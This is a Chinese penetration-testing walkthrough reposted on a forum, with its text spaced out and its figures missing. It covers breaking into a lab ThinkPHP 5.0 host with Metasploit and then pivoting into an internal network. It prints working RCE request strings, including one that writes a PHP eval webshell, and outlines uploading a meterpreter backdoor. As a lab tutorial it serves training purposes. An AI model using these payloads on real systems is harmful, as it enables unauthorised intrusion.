搜索

[27035] 2020-07-06_利用Metasploit打入ThinkPHP内网...

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-07-06_利用Metasploit打入ThinkPHP内网... 利 用 M e t a s p l o i t   打 入 T h i n k P H P 内 网 . . . 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 7 - 0 6 收 录 于 话 题 # k a l i   , 2 4 2 # M e t a s p l o i t   , 3 1 # 内 网 渗 透   , 2 2 2 # S R S P   T e a m   , 1 7 本 文 作 者 ： d c h （ M s 0 8 0 6 7 实 验 室   S R S P   T E A M 小 组 成 员 ） 一 、 利 用 一 、 利 用 M e t a s p l o i t 进 行 攻 击 的 流 程 图 进 行 攻 击 的 流 程 图 图 1   M e t a s p l o i t 渗 透 流 程 二 、 二 、 M e t a s p l o i t 渗 透 攻 击 渗 透 攻 击 （ 1 ） 通 过 m s f c o n s o l e 命 令 启 动 M e t a s p l o i t 在 这 个 过 程 中 ， 系 统 会 主 动 加 载 数 据 库 ， 如 图 2 所 示 ：
图 2   启 动 M e t a s p l o i t （ 2 ） 使 用 辅 助 模 块 进 行 端 口 扫 描 ， 如 下 图 3 所 示 ： 图 3   进 行 扫 描 （ 3 ） 寻 找 合 适 的 漏 洞 利 用 模 块 并 使 用 ， 如 下 图 4 所 示 ： 图 4   加 载 模 块 （ 4 ） 查 看 并 修 改 参 数 ， 如 下 图   5 所 示 ：
图 5   修 改 参 数 （ 5 ） 利 用 漏 洞   E x p l o i ， 如 下 图 6 所 示 ： 图 6   漏 洞 利 用 三 、 实 施 攻 击 三 、 实 施 攻 击 1 、 靶 机   、 攻 击 机 （ 1 ） 目 标 地 址   1 9 2 . 1 6 8 .   2 2 2   1 3 0 （ 2 ） 攻 击 地 址   1 9 2 . 1 6 8 .   2 3 8 . 1 2 9 2 、 用 n m a p 进 行 端 口 扫 描 （ 通 过 端 口 扫 描 找 到 其 开 放 的 服 务 ， 再 根 据 相 关 的 服 务 查 找 与 之 相 对 应 的 漏 洞 进 行 利 用 ） ， 如 图 7 所 示
图 7   端 口 扫 描 通 过 扫 描 可 以 看 到 T a r g e t 1 发 现 开 放 了 2 1 （ f t p ） 、 2 2 （ s s h ） 、 8 0 （ h t t p   ） 、 1 1 1 （ R P C ） 、 8 8 8   （ h t t p ） 、 3 3 0 6 （ M y s q l ） 、 8 8 8 8 （ h t t p ） 这 些 端 口 服 务 ， 且 是 一 个 L i n u x   的 操 作 系 统 。 3 、 进 入 w e b 界 面 图 8   w e b 界 面 打 开 后 发 现 它 是 T h i n k P H P 框 架 ， 版 本 是 V 5 . 0 ， 这 时 候 想 到 它 存 在 一 个 R C E （ 远 程 命 令 执 行 ） 漏 洞 ， 先 用 P O C （ 利 用 程 序 ） 测 试 一 下 / i n d e x . p h p ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = p h p i n f o & v a r s [ 1 ] [ ] = 1   ， 结 果 如 图 9 所 示
图 9   进 行 漏 洞 测 试 4 、 成 功 出 现 了 P H P i n f o 界 面 ， 说 明 该 版 本 是 存 在 漏 洞 的 。 用 P O C 写 入 一 句 话 ， 写 入 一 句 话 到 c m d . p h p ： h t t p : / / 1 9 2 . 1 6 8 . 2 2 2 . 1 3 0 / i n d e x . p h p ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = e c h o   " < ? p h p   @ e v a l ( $ _ P O S T [ ' c m d ' ] ) ; ? > "   >   c m d . p h p 5 、 上 传 后 ， 通 过 蚁 剑 进 行 连 接 ， 发 现 并 不 能 成 功 连 接 。 发 现 是 $ _ P O S T 被 过 滤 了 ， 这 里 可 以 利 用 编 码 （ 如 B a s e 6 4 、 U R L ） 后 再 次 上 传 。 6 、 用 蚁 剑 进 行 连 接 ， 成 功 连 接 。 此 时 已 经 获 取 到 该 主 机 的 s h e l l ， 可 以 查 看 系 统 的 信 息 等 。 如 下 图 1 0 、 1 1 所 示 ： 图 1 0   成 功 获 得 s h e l l 图 1 1   查 看 系 统 信 息 7 、 根 据 攻 击 机 的 I P 地 址 及 目 标 靶 机 的 系 统 类 型 生 成 对 应 的 后 门 文 件   ， 如 图
1 2 、 1 3 所 示 ： 图 1 2   查 看 攻 击 机 I P 图 1 3   制 作 后 门 8 、 在 k a l i 中 配 置 运 行 监 听 模 块 ， 如 下 图 1 4 所 示 ：
图 1 4   m s f 设 置 监 听 9 、 通 过 蚁 剑 将 后 门 文 件 s h e l l . e l f 上 传 到 靶 机 中 ， 并 赋 予 7 7 7 权 限 以 执 行 ， 如 图 1 5 、 1 6 所 示 ： 图 1 5   上 传 s h e l l . e l f 后 门 文 件
图 1 6   赋 予 7 7 7 权 限 执 行 1 0 、 获 得   m e t e r p r e t e r ， 如 图 1 7 所 示 图 1 7   获 得 m e t e r p r e t e r 1 1 、 查 看 可 用 网 段 ， 如 图 1 8 所 示 图 1 8   查 看 可 用 网 段 1 2 、 发 现 两 个 网 段 ： 一 个 是 1 9 2 . 1 6 8 . 2 . 0 / 2 4 ， 另 一 个 是 1 9 2 . 1 6 8 . 2 2 2 . 0 / 2 4 ， 通 过 m e t e r p r e t e r 对 1 9 2 . 1 6 8 . 2 2 2 . 0 / 2 4 添 加 第 二 层 的 路
由 ， 如 下 图 1 9 所 示 图 1 9   添 加 第 二 层 路 由 1 3 、 添 加 成 功 后 进 行 内 网 扫 描 ， 查 看 内 网 中 存 活 的 主 机 ， 如 图 2 0 所 示 图 2 0   查 看 存 活 主 机 1 4 、 发 现 第 二 层 靶 机 1 9 2 . 1 6 8 . 2 2 2 . 1 2 8 ， 如 下 图 2 1 所 示 图 2 1   出 现 第 二 层 网 址
1 5 、 在 M S F 中 设 置 代 理 图 2 2   设 置 代 理 图   2 3 通 过 设 置 代 理 ， 进 行 下 一 步 的 内 网 渗 透 四 、 引 用 文 章 四 、 引 用 文 章 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 7 0 6 4 9 招 新 微 信 联 系 方 式 ： c o s 2 6 0 6 5 9 6 9 2 4 ， 满 足 以 下 要 求 均 可 尝 试
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理